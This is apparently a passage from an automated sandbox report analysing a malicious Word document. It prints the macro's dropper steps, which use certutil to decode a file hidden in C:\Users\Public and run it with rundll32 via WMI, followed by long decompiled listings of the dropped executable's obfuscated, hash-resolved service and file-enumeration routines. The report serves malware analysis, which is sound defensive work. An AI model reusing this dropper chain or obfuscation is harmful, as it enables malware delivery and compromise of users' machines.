29	SetTask (Two + " " + STP + ".pdf,In")
30	End Sub

Subroutine Document_Close, APIs: 3, Strings: 0, Number of lines: 3, Relevance: 6.003

APIs	Meta Information
Part of subcall function Form_Close@ThisDocument: CreateObject
Part of subcall function Form_Close@ThisDocument: Delete
Part of subcall function Form_Close@ThisDocument: Sleep

Line	Instruction	Meta Information
19	Private Sub Document_Close()
20	Form_Close	executed
21	End Sub

Function SetTask, APIs: 2, Strings: 0, Number of lines: 3, Relevance: 10.503

APIs	Meta Information
create	SWbemObjectEx.create("Certutil -decode C:\Users\Public\Ksh1.xls C:\Users\Public\Ksh1.pdf",,,) -> 0 SWbemObjectEx.create("Rundll32 C:\Users\Public\Ksh1.pdf,In",,,) -> 0
act

Line	Instruction	Meta Information
40	Private Function SetTask(Task as String)
41	Ms13.create Task, Null, Null, act	SWbemObjectEx.create("Certutil -decode C:\Users\Public\Ksh1.xls C:\Users\Public\Ksh1.pdf",,,) -> 0 act executed
42	End Function

Function Button_Click2, APIs: 2, Strings: 0, Number of lines: 3, Relevance: 2.503

APIs	Meta Information
Left
Paragraphs

Line	Instruction	Meta Information
31	Private Function Button_Click2(One as Long, Two as Long) as String
32	Button_Click2 = Left(ActiveDocument.Paragraphs(One).Range.Text, Two)	Left Paragraphs executed
33	End Function

Function SaveAs3, APIs: 2, Strings: 0, Number of lines: 3, Relevance: 2.503

APIs	Meta Information
SaveAs2
wdFormatText

Line	Instruction	Meta Information
37	Private Function SaveAs3(Formt as String)
38	ActiveDocument.SaveAs2 FileName := STP + "." + Formt, FileFormat := wdFormatText	SaveAs2 wdFormatText executed
39	End Function

Non-Executed Functions

Function Button_Click3, APIs: 3, Strings: 0, Number of lines: 3, Relevance: 3.753

APIs	Meta Information
Right
Text
Range

Line	Instruction	Meta Information
34	Private Function Button_Click3(One as Long) as String
35	Button_Click3 = Right(Range.Text, One)	Right Text Range
36	End Function

Reset < >

Analysis Process: tmp_e473b4.exe PID: 1772 Parent PID: 3052 tmp_e473b4.exeCOMMON

Execution Graph

Execution Coverage:	9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	9.6%
Total number of Nodes:	1182
Total number of Limit Nodes:	56

Executed Functions

Function 003E0400, Relevance: 21.1, APIs: 14, Instructions: 132
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00401010,00000000,?), ref: 003E0448

Part of subcall function 003E1140: lstrcpynW.KERNEL32(00000000,00000000,00000000,00000010,003E0EFD,00000000), ref: 003E1155

NtQueryInformationProcess.NTDLL(00000000,00000000,00000000,00000018,00401010), ref: 003E0463
GetProcessHeap.KERNEL32(?,00401010,00000000,?), ref: 003E0484
HeapFree.KERNEL32(00000000,00000001,00000000), ref: 003E048D
GetProcessHeap.KERNEL32(?,00401010,00000000,?), ref: 003E0492
RtlAllocateHeap.NTDLL(00000000,00000001,00401010), ref: 003E049F
GetCurrentProcess.KERNEL32(?,00401010,00000000,?), ref: 003E04A6
NtQueryInformationProcess.NTDLL(00000000,00000000,00000000,00401010,00401010), ref: 003E04B9
RtlMoveMemory.NTDLL(00000000,00000000,00000018), ref: 003E04E0
RtlMoveMemory.NTDLL(00000000,?,00000014), ref: 003E04F7
RtlMoveMemory.NTDLL(?,00000000,00000014), ref: 003E0519
RtlMoveMemory.NTDLL(00000000,00000000,00000024), ref: 003E0530
RtlMoveMemory.NTDLL(00000000,?,00000048), ref: 003E0547
RtlMoveMemory.NTDLL(00000000,00000000,00000048), ref: 003E0562

Memory Dump Source

Source File: 00000007.00000002.2256690931.00000000003E0000.00000040.00000001.sdmp, Offset: 003E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_tmp_e473b4.jbxd

Similarity

API ID: MemoryMoveProcess$Heap$CurrentInformationQuery$AllocateFreelstrcpyn
String ID:
API String ID: 482429597-0
Opcode ID: 9b0dd4097f43c0ebb4e34693010eb75d6d5af0ab7a67fa55d809036932efe504
Instruction ID: 430ebc13fb106e7c029d35ab3f92e34e4a669b6e660fd92e9565d09a4909e707
Opcode Fuzzy Hash: 9b0dd4097f43c0ebb4e34693010eb75d6d5af0ab7a67fa55d809036932efe504
Instruction Fuzzy Hash: EC4150B19043A46EE715EB63C846F6FB3EDAB88740F408E1CB7449B2C1D6B4D9448B62

Uniqueness

Uniqueness Score: -1.00%

Function 003F9860, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 195
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E003F9860() {
				char _v524;
				unsigned int _v528;
				char _v536;
				void* _v544;
				void* __ebx;
				void* __ebp;
				void* _t28;
				void* _t29;
				void* _t31;
				void* _t37;
				void* _t39;
				void* _t40;
				void* _t47;
				void* _t49;
				void* _t50;
				void* _t53;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t62;
				void* _t64;
				void* _t69;
				void* _t72;
				void* _t92;
				void* _t93;
				intOrPtr _t94;
				void* _t97;
				void* _t98;

				_t64 = 0;
				_t28 = 0x29f9e503;
				_t92 = _v528;
				_t2 = _t64 + 1; // 0x1
				_t94 = _t2;
				goto L1;
				do {
					while(1) {
						L1:
						_t97 = _t28 - 0x13fee53b;
						if(_t97 > 0) {
							break;
						}
						if(_t97 == 0) {
							__eflags =  *0x3fe310;
							if( *0x3fe310 == 0) {
								 *0x3fe310 = E003F3E60(_t64, E003F3F00(0x26f5757c), 0x9ba7cd1, _t94);
							}
							_t49 = OpenSCManagerW(0, 0, 0xf003f); // executed
							_t92 = _t49;
							__eflags = _t92;
							if(_t92 == 0) {
								_t28 = 0x23c48583;
							} else {
								_t50 =  *0x3fe54c; // 0x55f0b0
								 *((intOrPtr*)(_t50 + 0x220)) = _t94;
								_t28 = 0xc471eb;
							}
							continue;
						} else {
							_t98 = _t28 - 0x9835f84;
							if(_t98 > 0) {
								__eflags = _t28 - 0xc0f0991;
								if(_t28 != 0xc0f0991) {
									goto L36;
								} else {
									_t69 =  *0x3fdbd8;
									__eflags = _t69;
									if(_t69 == 0) {
										_t69 = E003F3E60(_t64, E003F3F00(0xd9518805), 0x141622d6, _t94);
										 *0x3fdbd8 = _t69;
									}
									_t53 =  *0x3fe54c; // 0x55f0b0
									_t56 =  *_t69(0, _v528, 0, 0, _t53 + 0x18); // executed
									__eflags = _t56;
									_t28 = 0x9835f84;
									_t64 =  ==  ? _t94 : _t64;
									continue;
								}
							} else {
								if(_t98 == 0) {
									E003F7C60(_t94);
									_t28 = 0x6addd5c;
									continue;
								} else {
									if(_t28 == 0xc471eb) {
										_v528 = 0xc1a3;
										_t28 = 0x179ed98e;
										_v528 = _v528 + 0xffff1ad7;
										_v528 = _v528 ^ 0xffffdc53;
										continue;
									} else {
										if(_t28 != 0x6addd5c) {
											goto L36;
										} else {
											_t60 =  *0x3fe3f4;
											if(_t60 == 0) {
												_t60 = E003F3E60(_t64, E003F3F00(0x9bab0b12), 0x7dc9b9bb, _t94);
												 *0x3fe3f4 = _t60;
											}
											 *_t60(0,  &_v524, 0x104);
											_t62 = E003F3D00( &_v536);
											_t72 =  *0x3fe54c; // 0x55f0b0
											 *((intOrPtr*)(_t72 + 0x46c)) = _t62;
											_t28 = 0x39ea8110;
											continue;
										}
									}
								}
							}
						}
						L42:
					}
					__eflags = _t28 - 0x29f9e503;
					if(__eflags > 0) {
						__eflags = _t28 - 0x39ea8110;
						if(_t28 == 0x39ea8110) {
							_t29 =  *0x3fdbd8;
							__eflags = _t29;
							if(_t29 == 0) {
								_t29 = E003F3E60(_t64, E003F3F00(0xd9518805), 0x141622d6, _t94);
								 *0x3fdbd8 = _t29;
							}
							 *_t29(0, 0x25, 0, 0,  &_v524);
							_t31 =  *0x3fe54c; // 0x55f0b0
							_t32 = _t31 + 0x234;
							__eflags = _t31 + 0x234;
							E003F3040(_t32);
							goto L41;
						} else {
							goto L36;
						}
					} else {
						if(__eflags == 0) {
							_t37 =  *0x3fe494;
							__eflags = _t37;
							if(_t37 == 0) {
								_t37 = E003F3E60(_t64, E003F3F00(0x9bab0b12), 0x7facde30, _t94);
								 *0x3fe494 = _t37;
							}
							_t93 =  *_t37();
							_t39 =  *0x3fdd18;
							__eflags = _t39;
							if(_t39 == 0) {
								_t39 = E003F3E60(_t64, E003F3F00(0x9bab0b12), 0x9ff0609c, _t94);
								 *0x3fdd18 = _t39;
							}
							_t40 =  *_t39(_t93, 8, 0x480);
							 *0x3fe54c = _t40;
							__eflags = _t40;
							if(_t40 == 0) {
								L41:
								return _t64;
							} else {
								 *((intOrPtr*)(_t40 + 4)) = E003F7E40;
								_t28 = 0x13fee53b;
								goto L1;
							}
						} else {
							__eflags = _t28 - 0x179ed98e;
							if(_t28 == 0x179ed98e) {
								__eflags =  *0x3fe18c;
								if( *0x3fe18c == 0) {
									 *0x3fe18c = E003F3E60(_t64, E003F3F00(0x26f5757c), 0x268fe5f0, _t94);
								}
								CloseServiceHandle(_t92); // executed
								_t28 = 0xc0f0991;
								goto L1;
							} else {
								__eflags = _t28 - 0x23c48583;
								if(_t28 != 0x23c48583) {
									goto L36;
								} else {
									_v528 = 0x5332;
									_v528 = _v528 << 6;
									_v528 = _v528 >> 0xf;
									_v528 = _v528 + 0xffffb18f;
									_v528 = _v528 >> 3;
									_v528 = _v528 ^ 0x1ffff62b;
									_t47 =  *0x3fe54c; // 0x55f0b0
									 *((intOrPtr*)(_t47 + 8)) = 0x3f7e30;
									_t28 = 0xc0f0991;
									goto L1;
								}
							}
						}
					}
					goto L42;
					L36:
					__eflags = _t28 - 0x305b3459;
				} while (_t28 != 0x305b3459);
				return _t64;
				goto L42;
			}

0x003f9868
0x003f986a
0x003f9871
0x003f9875
0x003f9875
0x003f9878
0x003f9880
0x003f9880
0x003f9880
0x003f9880
0x003f9885
0x00000000
0x00000000
0x003f988b
0x003f9993
0x003f9995
0x003f99ad
0x003f99ad
0x003f99bb
0x003f99bd
0x003f99bf
0x003f99c1
0x003f99d8
0x003f99c3
0x003f99c3
0x003f99c8
0x003f99ce
0x003f99ce
0x00000000
0x003f9891
0x003f9891
0x003f9896
0x003f9936
0x003f993b
0x00000000
0x003f9941
0x003f9941
0x003f9947
0x003f9949
0x003f9961
0x003f9963
0x003f9963
0x003f9969
0x003f997d
0x003f997f
0x003f9981
0x003f9986
0x00000000
0x003f9986
0x003f989c
0x003f989c
0x003f9927
0x003f992c
0x00000000
0x003f98a2
0x003f98a7
0x003f9905
0x003f990d
0x003f9912
0x003f991a
0x00000000
0x003f98a9
0x003f98ae
0x00000000
0x003f98b4
0x003f98b4
0x003f98bb
0x003f98ce
0x003f98d3
0x003f98d3
0x003f98e4
0x003f98ea
0x003f98ef
0x003f98f5
0x003f98fb
0x00000000
0x003f98fb
0x003f98ae
0x003f98a7
0x003f989c
0x003f9896
0x00000000
0x003f988b
0x003f99e2
0x003f99e7
0x003f9ae3
0x003f9ae8
0x003f9b02
0x003f9b07
0x003f9b09
0x003f9b1c
0x003f9b21
0x003f9b21
0x003f9b33
0x003f9b35
0x003f9b3e
0x003f9b3e
0x003f9b44
0x00000000
0x00000000
0x00000000
0x00000000
0x003f99ed
0x003f99ed
0x003f9a73
0x003f9a78
0x003f9a7a
0x003f9a8d
0x003f9a92
0x003f9a92
0x003f9a99
0x003f9a9b
0x003f9aa0
0x003f9aa2
0x003f9ab5
0x003f9aba
0x003f9aba
0x003f9ac7
0x003f9ac9
0x003f9ace
0x003f9ad0
0x003f9b4f
0x003f9b58
0x003f9ad2
0x003f9ad2
0x003f9ad9
0x00000000
0x003f9ad9
0x003f99f3
0x003f99f3
0x003f99f8
0x003f9a47
0x003f9a49
0x003f9a61
0x003f9a61
0x003f9a67
0x003f9a69
0x00000000
0x003f99fa
0x003f99fa
0x003f99ff
0x00000000
0x003f9a05
0x003f9a05
0x003f9a0d
0x003f9a12
0x003f9a17
0x003f9a1f
0x003f9a24
0x003f9a2c
0x003f9a31
0x003f9a38
0x00000000
0x003f9a38
0x003f99ff
0x003f99f8
0x003f99ed
0x00000000
0x003f9aea
0x003f9aea
0x003f9aea
0x003f9b01
0x00000000

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,0055F098), ref: 003F997D
OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F), ref: 003F99BB
CloseServiceHandle.ADVAPI32(?,?,3251FEFE,?,?), ref: 003F9A67
SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?,?,3251FEFE,?,?), ref: 003F9B33

Strings

2S, xrefs: 003F9A05
Y4[0, xrefs: 003F9AEA

Memory Dump Source

Source File: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000007.00000002.2256695140.00000000003F0000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256705457.00000000003FD000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256709121.00000000003FF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3f0000_tmp_e473b4.jbxd

Yara matches

Similarity

API ID: FolderPath$CloseHandleManagerOpenService
String ID: 2S$Y4[0
API String ID: 2382770032-4131004879
Opcode ID: ae5feb292b6a35699333815c2bd61bc41c97ce6b5c9c4f05324f6b89a090913b
Instruction ID: 2c24f1c7aabf0c32b0c63e3fc8c049c1d79c23c82ed175bbf31bd5db885bd3ec
Opcode Fuzzy Hash: ae5feb292b6a35699333815c2bd61bc41c97ce6b5c9c4f05324f6b89a090913b
Instruction Fuzzy Hash: 4A61D471B043095BEB1AAF69AC85B7A3299DBA0744F11042FF305DF3A1EA70CD05CB92

Uniqueness

Uniqueness Score: -1.00%

Function 003F38F0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E003F38F0(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				short _v524;
				char _v1044;
				short _v1588;
				intOrPtr _v1590;
				struct _WIN32_FIND_DATAW _v1636;
				void* _v1640;
				intOrPtr _v1652;
				void* __ebx;
				void* __ebp;
				void* _t22;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				intOrPtr* _t33;
				signed int _t34;
				void* _t39;
				intOrPtr* _t42;
				signed int _t46;
				intOrPtr* _t50;
				intOrPtr _t55;
				void* _t56;
				void* _t91;
				void* _t92;
				void* _t93;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t98;

				_t91 = __ecx;
				_t95 = __edx;
				_v1640 = __ecx;
				_t22 = 0x25a25425;
				_t56 = _v1640;
				while(1) {
					L1:
					_t98 = _t22 - 0x25a25425;
					if(_t98 > 0) {
						break;
					}
					if(_t98 == 0) {
						_t22 = 0x29bc40d3;
						continue;
					} else {
						if(_t22 == 0x8a099c9) {
							if( *0x3fe430 == 0) {
								 *0x3fe430 = E003F3E60(_t56, E003F3F00(0x9bab0b12), 0x83efb111, _t95);
							}
							_t39 = FindFirstFileW( &_v524,  &_v1636); // executed
							_t56 = _t39;
							if(_t56 == 0xffffffff) {
								return _t39;
							} else {
								_t22 = 0x1a4f9837;
								continue;
							}
						} else {
							if(_t22 == 0xb46fa16) {
								_t42 =  *0x3fdba4;
								if(_t42 == 0) {
									_t42 = E003F3E60(_t56, E003F3F00(0x9bab0b12), 0xd274268a, _t95);
									 *0x3fdba4 = _t42;
								}
								return  *_t42(_t56);
							}
							if(_t22 != 0x1a4f9837) {
								L27:
								if(_t22 != 0x55fa1f4) {
									continue;
								} else {
									return _t22;
								}
							} else {
								if((_v1636.dwFileAttributes & 0x00000010) == 0) {
									_t46 = _a4( &_v1636, _a8);
									asm("sbb eax, eax");
									_t22 = ( ~_t46 & 0x2b8487c8) + 0xb46fa16;
								} else {
									if(_v1636.cFileName != 0x2e) {
										L12:
										if(_t95 == 0) {
											goto L11;
										} else {
											_t94 = E003F34C0(0x3fd290);
											_t50 =  *0x3fe158;
											if(_t50 == 0) {
												_t50 = E003F3E60(_t56, E003F3F00(0xc6fbcd74), 0xba71dd03, _t95);
												 *0x3fe158 = _t50;
											}
											 *_t50( &_v1044, 0x104, _t94, _t91,  &(_v1636.cFileName));
											E003F38F0( &_v1044, _t95, _a4, _a8);
											_t96 = _t96 + 0x1c;
											E003F3460(_t94);
											_t22 = 0x36cb81de;
										}
									} else {
										_t55 = _v1590;
										if(_t55 == 0 || _t55 == 0x2e && _v1588 == 0) {
											L11:
											_t22 = 0x36cb81de;
										} else {
											goto L12;
										}
									}
								}
								continue;
							}
						}
					}
					L40:
				}
				if(_t22 == 0x29bc40d3) {
					_t93 = E003F34C0(0x3fd260);
					_t24 =  *0x3fe158;
					if(_t24 == 0) {
						_t24 = E003F3E60(_t56, E003F3F00(0xc6fbcd74), 0xba71dd03, _t95);
						 *0x3fe158 = _t24;
					}
					 *_t24( &_v524, 0x104, _t93, _t91);
					_t26 =  *0x3fe494;
					_t96 = _t96 + 0x10;
					if(_t26 == 0) {
						_t26 = E003F3E60(_t56, E003F3F00(0x9bab0b12), 0x7facde30, _t95);
						 *0x3fe494 = _t26;
					}
					_t92 =  *_t26();
					_t28 =  *0x3fdf30;
					if(_t28 == 0) {
						_t28 = E003F3E60(_t56, E003F3F00(0x9bab0b12), 0x5010a54d, _t95);
						 *0x3fdf30 = _t28;
					}
					 *_t28(_t92, 0, _t93);
					_t91 = _v1652;
					_t22 = 0x8a099c9;
					goto L1;
				} else {
					if(_t22 != 0x36cb81de) {
						goto L27;
					} else {
						_t33 =  *0x3fdf88;
						if(_t33 == 0) {
							_t33 = E003F3E60(_t56, E003F3F00(0x9bab0b12), 0xa53a5b1a, _t95);
							 *0x3fdf88 = _t33;
						}
						_t34 =  *_t33(_t56,  &_v1636);
						asm("sbb eax, eax");
						_t22 = ( ~_t34 & 0x0f089e21) + 0xb46fa16;
						goto L1;
					}
				}
				goto L40;
			}

0x003f38fa
0x003f38fc
0x003f38fe
0x003f3902
0x003f3907
0x003f3910
0x003f3910
0x003f3910
0x003f3915
0x00000000
0x00000000
0x003f391b
0x003f3a5f
0x00000000
0x003f3921
0x003f3926
0x003f3a1e
0x003f3a36
0x003f3a36
0x003f3a48
0x003f3a4a
0x003f3a4f
0x003f3ba1
0x003f3a55
0x003f3a55
0x00000000
0x003f3a55
0x003f392c
0x003f3931
0x003f3b70
0x003f3b77
0x003f3b8a
0x003f3b8f
0x003f3b8f
0x00000000
0x003f3b95
0x003f393c
0x003f3ab6
0x003f3abb
0x00000000
0x003f3acb
0x003f3acb
0x003f3acb
0x003f3942
0x003f3947
0x003f39fd
0x003f3a06
0x003f3a0d
0x003f394d
0x003f3953
0x003f3974
0x003f3976
0x00000000
0x003f3978
0x003f3982
0x003f3984
0x003f398b
0x003f399e
0x003f39a3
0x003f39a3
0x003f39bc
0x003f39d8
0x003f39dd
0x003f39e2
0x003f39e7
0x003f39e7
0x003f3955
0x003f3955
0x003f395d
0x003f396d
0x003f396d
0x00000000
0x00000000
0x00000000
0x003f395d
0x003f3953
0x00000000
0x003f3947
0x003f393c
0x003f3926
0x00000000
0x003f391b
0x003f3a6e
0x003f3ad6
0x003f3ad8
0x003f3adf
0x003f3af2
0x003f3af7
0x003f3af7
0x003f3b0b
0x003f3b0d
0x003f3b12
0x003f3b17
0x003f3b2a
0x003f3b2f
0x003f3b2f
0x003f3b36
0x003f3b38
0x003f3b3f
0x003f3b52
0x003f3b57
0x003f3b57
0x003f3b60
0x003f3b62
0x003f3b66
0x00000000
0x003f3a70
0x003f3a75
0x00000000
0x003f3a77
0x003f3a77
0x003f3a7e
0x003f3a91
0x003f3a96
0x003f3a96
0x003f3aa1
0x003f3aa5
0x003f3aac
0x00000000
0x003f3aac
0x003f3a75
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,?), ref: 003F3A48

Strings

., xrefs: 003F394D

Memory Dump Source

Source File: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000007.00000002.2256695140.00000000003F0000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256705457.00000000003FD000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256709121.00000000003FF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3f0000_tmp_e473b4.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: .
API String ID: 1974802433-248832578
Opcode ID: 014395c4e8e225078eeca758015a5bddf379300c0a9c508d17035042a3602d2c
Instruction ID: 351c77138b50d5bcec509b8fa9b473fb206eefa714ef47c09f7a1fa41e2c06ee
Opcode Fuzzy Hash: 014395c4e8e225078eeca758015a5bddf379300c0a9c508d17035042a3602d2c
Instruction Fuzzy Hash: 4E5123717143094BCF26AB79D885B7B36AA9B90740F01092DF756CB3A1EBB5CF058392

Uniqueness

Uniqueness Score: -1.00%

Function 003F5040, Relevance: 1.7, APIs: 1, Instructions: 248
memoryCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E003F5040(intOrPtr __ecx, intOrPtr __edx) {
				char _v4;
				char _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v28;
				void* _v36;
				intOrPtr _v44;
				signed int _v52;
				void* _v68;
				void* __ebx;
				void* __ebp;
				void* _t16;
				void* _t17;
				void* _t23;
				void* _t26;
				void* _t29;
				void* _t31;
				void* _t35;
				void* _t37;
				void* _t41;
				void* _t42;
				void* _t45;
				void* _t50;
				void* _t51;
				void* _t52;
				signed int _t53;
				void* _t58;
				intOrPtr* _t101;
				void* _t103;
				signed int _t104;
				void* _t105;
				void* _t107;
				void* _t108;
				void* _t112;
				void* _t115;
				void* _t116;

				_t101 = _v12;
				_t58 = 0;
				_v16 = __edx;
				_t112 = 0;
				_v20 = __ecx;
				_t104 = 0x1ca940c1;
				while(1) {
					_t16 = _v28;
					while(1) {
						L2:
						_t115 = _t104 - 0x12f72f95;
						if(_t115 <= 0) {
							break;
						}
						__eflags = _t104 - 0x26342ffd;
						if(__eflags > 0) {
							__eflags = _t104 - 0x2fab56c4;
							if(_t104 != 0x2fab56c4) {
								goto L40;
							} else {
								_t17 =  *0x3fe494;
								__eflags = _t17;
								if(_t17 == 0) {
									_t17 = E003F3E60(_t58, E003F3F00(0x9bab0b12), 0x7facde30, _t112);
									 *0x3fe494 = _t17;
								}
								_t105 =  *_t17();
								__eflags =  *0x3fdd18;
								if( *0x3fdd18 == 0) {
									 *0x3fdd18 = E003F3E60(_t58, E003F3F00(0x9bab0b12), 0x9ff0609c, _t112);
								}
								_t16 = RtlAllocateHeap(_t105, 8, 0x20000); // executed
								_t58 = _t16;
								__eflags = _t58;
								if(_t58 != 0) {
									_t104 = 0x8956eec;
									while(1) {
										_t16 = _v28;
										goto L2;
									}
								}
							}
						} else {
							if(__eflags == 0) {
								_t23 =  *0x3fe484;
								__eflags = _t23;
								if(_t23 == 0) {
									_t23 = E003F3E60(_t58, E003F3F00(0x26f5757c), 0x9e91db81, _t112);
									 *0x3fe484 = _t23;
								}
								 *_t23(_v24, 1, _t112, 0x2000,  &_v4);
								asm("sbb esi, esi");
								_t26 =  *0x3fe18c;
								_t104 = (_t104 & 0x0b23632b) + 0x5d498c4;
								__eflags = _t26;
								if(_t26 == 0) {
									_t26 = E003F3E60(_t58, E003F3F00(0x26f5757c), 0x268fe5f0, _t112);
									 *0x3fe18c = _t26;
								}
								_t16 =  *_t26(_v44);
								goto L40;
							} else {
								__eflags = _t104 - 0x1ca940c1;
								if(_t104 == 0x1ca940c1) {
									_t104 = 0x2fab56c4;
									continue;
								} else {
									__eflags = _t104 - 0x254bd927;
									if(_t104 != 0x254bd927) {
										L40:
										__eflags = _t104 - 0x1f0f293e;
										if(_t104 != 0x1f0f293e) {
											while(1) {
												_t16 = _v28;
												goto L2;
											}
										}
									} else {
										_t50 =  *0x3fe29c;
										__eflags = _t50;
										if(_t50 == 0) {
											_t50 = E003F3E60(_t58, E003F3F00(0x26f5757c), 0x4574c66, _t112);
											 *0x3fe29c = _t50;
										}
										_t51 =  *_t50(_v20, 0, 0x30, 3, _t58, 0x20000,  &_v8,  &_v12, 0, 0);
										__eflags = _t51;
										if(_t51 == 0) {
											L13:
											_t104 = 0x11e09e52;
											while(1) {
												_t16 = _v28;
												goto L2;
											}
										} else {
											_t52 =  *0x3fde08;
											__eflags = _t52;
											if(_t52 == 0) {
												_t52 = E003F3E60(_t58, E003F3F00(0x9bab0b12), 0xd8ef4c49, _t112);
												 *0x3fde08 = _t52;
											}
											_t53 =  *_t52();
											_t104 = 0x128dff18;
											_t103 = _t58 + (_t53 & 0x0000001f) * 0x2c;
											_t16 = _t58 + _v52 * 0x2c;
											__eflags = _t103 - _t16;
											_v68 = _t16;
											_t101 =  >=  ? _t58 : _t103;
											continue;
										}
										L55:
									}
								}
							}
						}
						L54:
						return _t16;
						goto L55;
					}
					if(_t115 == 0) {
						_t29 =  *0x3fe494;
						__eflags = _t29;
						if(_t29 == 0) {
							_t29 = E003F3E60(_t58, E003F3F00(0x9bab0b12), 0x7facde30, _t112);
							 *0x3fe494 = _t29;
						}
						_t107 =  *_t29();
						_t31 =  *0x3fdf30;
						__eflags = _t31;
						if(_t31 == 0) {
							_t31 = E003F3E60(_t58, E003F3F00(0x9bab0b12), 0x5010a54d, _t112);
							 *0x3fdf30 = _t31;
						}
						return  *_t31(_t107, 0, _t58);
					}
					_t116 = _t104 - 0x10f7fbef;
					if(_t116 > 0) {
						__eflags = _t104 - 0x11e09e52;
						if(_t104 == 0x11e09e52) {
							_t35 =  *0x3fe494;
							__eflags = _t35;
							if(_t35 == 0) {
								_t35 = E003F3E60(_t58, E003F3F00(0x9bab0b12), 0x7facde30, _t112);
								 *0x3fe494 = _t35;
							}
							_t108 =  *_t35();
							_t37 =  *0x3fdf30;
							__eflags = _t37;
							if(_t37 == 0) {
								_t37 = E003F3E60(_t58, E003F3F00(0x9bab0b12), 0x5010a54d, _t112);
								 *0x3fdf30 = _t37;
							}
							 *_t37(_t108, 0, _t112);
							_t104 = 0x12f72f95;
							continue;
						} else {
							__eflags = _t104 - 0x128dff18;
							if(_t104 != 0x128dff18) {
								goto L40;
							} else {
								_t41 =  *0x3fe270;
								__eflags = _t41;
								if(_t41 == 0) {
									_t41 = E003F3E60(_t58, E003F3F00(0x26f5757c), 0x56e230f9, _t112);
									 *0x3fe270 = _t41;
								}
								_t42 =  *_t41(_v20,  *_t101, 1);
								__eflags = _t42;
								_v36 = _t42;
								_t104 =  !=  ? 0x26342ffd : 0x5d498c4;
								while(1) {
									_t16 = _v28;
									goto L2;
								}
							}
						}
					} else {
						if(_t116 == 0) {
							_t45 =  *0x3fe200;
							__eflags = _t45;
							if(_t45 == 0) {
								_t45 = E003F3E60(_t58, E003F3F00(0x26f5757c), 0x16d40839, _t112);
								 *0x3fe200 = _t45;
							}
							 *_t45(_v16, 1, _t112);
							goto L13;
						} else {
							if(_t104 == 0x5d498c4) {
								_t101 = _t101 + 0x2c;
								__eflags = _t101 - _t16;
								asm("sbb esi, esi");
								_t104 = (_t104 & 0x00ad60c6) + 0x11e09e52;
								goto L2;
							} else {
								if(_t104 != 0x8956eec) {
									goto L40;
								} else {
									_t112 = E003F42C0(_t58, 0x2000);
									_t104 =  !=  ? 0x254bd927 : 0x12f72f95;
									while(1) {
										_t16 = _v28;
										goto L2;
									}
								}
							}
						}
					}
					goto L54;
				}
			}

0x003f5047
0x003f504b
0x003f504d
0x003f5051
0x003f5053
0x003f5057
0x003f505c
0x003f505c
0x003f5060
0x003f5060
0x003f5060
0x003f5066
0x00000000
0x00000000
0x003f51af
0x003f51b5
0x003f52f9
0x003f52ff
0x00000000
0x003f5301
0x003f5301
0x003f5306
0x003f5308
0x003f531b
0x003f5320
0x003f5320
0x003f5327
0x003f532e
0x003f5330
0x003f5348
0x003f5348
0x003f5355
0x003f5357
0x003f5359
0x003f535b
0x003f535d
0x003f505c
0x003f505c
0x00000000
0x003f505c
0x003f505c
0x003f535b
0x003f51bb
0x003f51bb
0x003f5277
0x003f527c
0x003f527e
0x003f5291
0x003f5296
0x003f5296
0x003f52ac
0x003f52b0
0x003f52b2
0x003f52bd
0x003f52c3
0x003f52c5
0x003f52d8
0x003f52dd
0x003f52dd
0x003f52e6
0x00000000
0x003f51c1
0x003f51c1
0x003f51c7
0x003f526d
0x00000000
0x003f51cd
0x003f51cd
0x003f51d3
0x003f52e8
0x003f52e8
0x003f52ee
0x003f505c
0x003f505c
0x00000000
0x003f505c
0x003f505c
0x003f51d9
0x003f51d9
0x003f51de
0x003f51e0
0x003f51f3
0x003f51f8
0x003f51f8
0x003f521b
0x003f521d
0x003f521f
0x003f50ef
0x003f50ef
0x003f505c
0x003f505c
0x00000000
0x003f505c
0x003f5225
0x003f5225
0x003f522a
0x003f522c
0x003f523f
0x003f5244
0x003f5244
0x003f5249
0x003f524e
0x003f525b
0x003f525d
0x003f525f
0x003f5261
0x003f5265
0x00000000
0x003f5265
0x00000000
0x003f521f
0x003f51d3
0x003f51c7
0x003f51bb
0x003f53c0
0x003f53c0
0x00000000
0x003f53c0
0x003f506c
0x003f5367
0x003f536c
0x003f536e
0x003f5381
0x003f5386
0x003f5386
0x003f538d
0x003f538f
0x003f5394
0x003f5396
0x003f53a9
0x003f53ae
0x003f53ae
0x00000000
0x003f53b7
0x003f5072
0x003f5078
0x003f50f9
0x003f50ff
0x003f5153
0x003f5158
0x003f515a
0x003f516d
0x003f5172
0x003f5172
0x003f5179
0x003f517b
0x003f5180
0x003f5182
0x003f5195
0x003f519a
0x003f519a
0x003f51a3
0x003f51a5
0x00000000
0x003f5101
0x003f5101
